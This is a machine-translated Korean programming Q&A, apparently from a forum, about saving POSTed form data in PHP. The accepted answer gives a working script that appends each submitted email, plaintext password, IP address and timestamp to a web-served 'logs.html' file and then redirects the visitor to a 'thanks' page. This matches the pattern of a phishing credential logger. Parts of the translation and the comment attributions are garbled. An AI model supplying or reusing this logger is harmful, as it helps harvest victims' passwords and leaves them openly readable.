2012-12-21 4 views
-2

이것은 내 PHP 파일입니다. 어떻게이 데이터를 HTML 파일에 저장합니까?html로 파일을 저장하는 방법

<?php 
$email = $_POST['email']; 
$pass = $_POST['pass']; 
$ip = $_SERVER['REMOTE_ADDR']; 
$date = date('d.m.Y'); 
$time = date('H:i:s A'); 
?> 
+0

질문을 명확하게 할 수 있습니다. 그냥 echo하고 싶다면 echo를 사용하십시오. – kennypu

+1

그리고 당신이 잘못 표현한 방식으로, 당신은 저장하고 싶지 않다! – GAD

+0

예, 죄송합니다. 감사합니다. – GAD

답변

0

입니다!

<?php 
$email = $_POST['email']; 
$pass = $_POST['pass']; 
$ip = $_SERVER['REMOTE_ADDR']; 
$date = date('d.m.Y'); 
$time = date('H:i:s A'); 

$file = "logs.html" 

$fp = fopen($file, 'a'); 
fwrite($fp, ' 
<div> 
<b>E-Mail: </b>' .$email. '<br> 
<b>Password: </b>' .$pass. '<br> 
<b>Date: </b>' .$date. '<br> 
<b>Time: </b>' .$time. '<br> 
<b>IP: </b>' .$ip. '<br><br><br> 
</div> 
'); 

fclose($fp); 
header("Location: thanks.php"); 
?> 

내가 희망은 도움이!

+1

감사합니다. 공장!!!!!!! – GAD

+1

문제 없음 GORO! – GAD

0

HTML의 내용을 출력하려면 단순히 <p><?=$email;?></p>을 입력하십시오. 이제 POST 변수 입력을 먼저 사용하기 전에 유효성을 검사하려고합니다. 또한 게시물을 이메일로 설정 했으므로 <?php echo $email ?>을 사용할 수 있습니다. 첫 번째 방법은 짧은 손입니다.

1

것은 당신이 위의에서 HTML 파일을 만드는 방법을 요구하는 경우 기본적으로

<?php 
    $email = $_POST['email']; 
    $pass = $_POST['pass']; 
    $ip = $_SERVER['REMOTE_ADDR']; 
    $date = date('d.m.Y'); 
    $time = date('H:i:s A'); 
?> 
<html> 
    <body> 
     My Email is: <?php echo $email ?><br /> 
     My Pass is: <?php echo $pass ?><br /> 
     <!-- And so on ... --> 
    </body> 
</html> 

, 당신은 당신의 블록 외부에서 일반 HTML 마크 업을 포함 할 것, 그리고 모든 곳에서 당신은 참조 할 변수는 다음과 같이 사용하십시오.

<?php echo $var ?> 

여기서 $ var는 PHP 변수의 이름입니다.

HTML 내에서 템플릿 시스템으로 생각하십시오.

0

PHP 변수를 .html 파일에 직접 입력 할 수 없습니다. 당신은 그냥 .php로 이름을 바꾸고 변수를 직접 넣거나 나뭇 가지와 같은 일종의 템플릿 시스템을 사용해야합니다. 그함으로써

나는 이런 식으로 뭔가 할 말은 : 이것은 당신의 대답은

index.php

<html> 
    <body> 
     <?php echo $_POST['email'] ?> 
     <?php echo $_POST['pass'] ?> 
     ... etc 
    </body> 
</html> 
관련 문제